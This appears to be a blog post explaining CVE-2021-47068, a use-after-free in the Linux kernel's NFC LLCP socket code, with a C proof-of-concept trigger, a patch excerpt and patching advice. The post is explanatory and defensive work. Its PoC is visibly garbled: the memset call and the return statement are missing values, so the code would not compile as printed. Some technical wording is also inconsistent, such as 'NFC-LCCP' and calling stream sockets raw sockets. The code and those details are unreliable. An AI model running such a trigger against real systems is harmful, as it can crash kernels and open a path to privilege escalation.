In the evolving landscape of Linux kernel vulnerabilities, CVE-2021-47068 stands out as an instructive example of how fixing one bug can sometimes introduce another, potentially much more serious issue. In this post, we’ll unpack this specific use-after-free bug in the kernel’s NFC LLCP implementation, show how it can be triggered, and explain the patch that fixes it—all in simple, clear language. We'll include a working code snippet, reference original sources, and summarize the potential impact of this exploit.

What Is CVE-2021-47068 About?

The Linux kernel provides support for NFC (Near Field Communication), and part of this is the Logical Link Control Protocol (LLCP) used for socket communications. In May 2021, a routine bug fix in the kernel's NFC-LCCP socket code (see commits 8a4cd82d and c33b1cc62) plugged some refcount (reference count) leaks. Unfortunately, the fix made it so that if two sockets were bound to the same local address, freeing one could make the other point to released (freed) memory—a classic use-after-free vulnerability.

How Is the Vulnerability Triggered?

Suppose you have two sockets and you bind them both to the same local address. When you close one, the shared internal structure is freed, but the other socket still points to it. The next use can lead to accessing invalid memory, which can be exploited in a variety of ways, from crashes to arbitrary code execution, depending on the attacker's skill and system configuration.

Below is a simple C program that demonstrates how to trigger the use-after-free

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/nfc.h>
#include <linux/socket.h>
#include <unistd.h>

int main() {
    int sock1 = socket(AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP);
    int sock2 = socket(AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP);
    struct sockaddr_nfc_llcp addr;

    memset(&addr, , sizeof(addr));
    addr.sa_family = AF_NFC;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;

    // Bind both sockets to the same local address
    bind(sock1, (struct sockaddr*)&addr, sizeof(addr));
    bind(sock2, (struct sockaddr*)&addr, sizeof(addr));

    close(sock1); // Frees the shared local address
    close(sock2); // Use-after-free could occur here

    return ;
}

> Important: For safety, do *not* run this code on any production system! This can cause kernel panics or expose your system to exploits.

Technical Explanation (Simple Terms)

- Refcounting: This technique tracks how many things (sockets) are using a resource (local address). When the count drops to zero, the resource is freed.
- The Bug: When two LLCP sockets are bound to the same local address, closing one decrements the refcount to zero and frees the memory. The second socket still holds a pointer to the now-freed memory—the next operation on that pointer triggers the use-after-free.
- The Fix: The patch simply sets the socket’s local pointer to NULL after freeing it, so future accidental uses see a safe, empty pointer instead of garbage data.

#### Example Patch Excerpt (Full Patch Here):

if (llcp_sock->local) {
    nfc_llcp_local_put(llcp_sock->local);
    llcp_sock->local = NULL; // <-- THIS FIX PREVENTS USE-AFTER-FREE
}

Initial Commit (Bug Introduced):

- 8a4cd82d: "nfc: fix refcount leak in llcp_sock_connect()"
- c33b1cc62: "nfc: fix refcount leak in llcp_sock_bind()"

Bug Report & Patch:

- lkml.org Discussion
- Kernel.org Patch Reference

CVE Record:

- NVD Entry: CVE-2021-47068

Exploit Potential

While this bug is not remotely exploitable (it requires the ability to create raw NFC sockets, usually only possible as root), any kernel use-after-free might be weaponized for privilege escalation. Attackers with some local access could cause kernel crashes (DoS), or—if combined with other bugs—could attempt to gain full system control.

Conclusion: Who Needs To Patch?

If you run Linux kernels with NFC support enabled (often on embedded devices or laptops with NFC hardware), you should upgrade to a kernel version including the fix for this bug. Always audit user access to raw sockets and keep kernels updated! Careful refcount and memory management are at the heart of kernel security.

Further Reading & References

- Linux Kernel GitHub Mirror
- NFC Subsystem Documentation
- CVE-2021-47068 at NVD
- Linux Kernel Mailing List Discussion

Timeline

Published on: 02/29/2024 23:15:08 UTC
Last modified on: 12/10/2024 19:50:49 UTC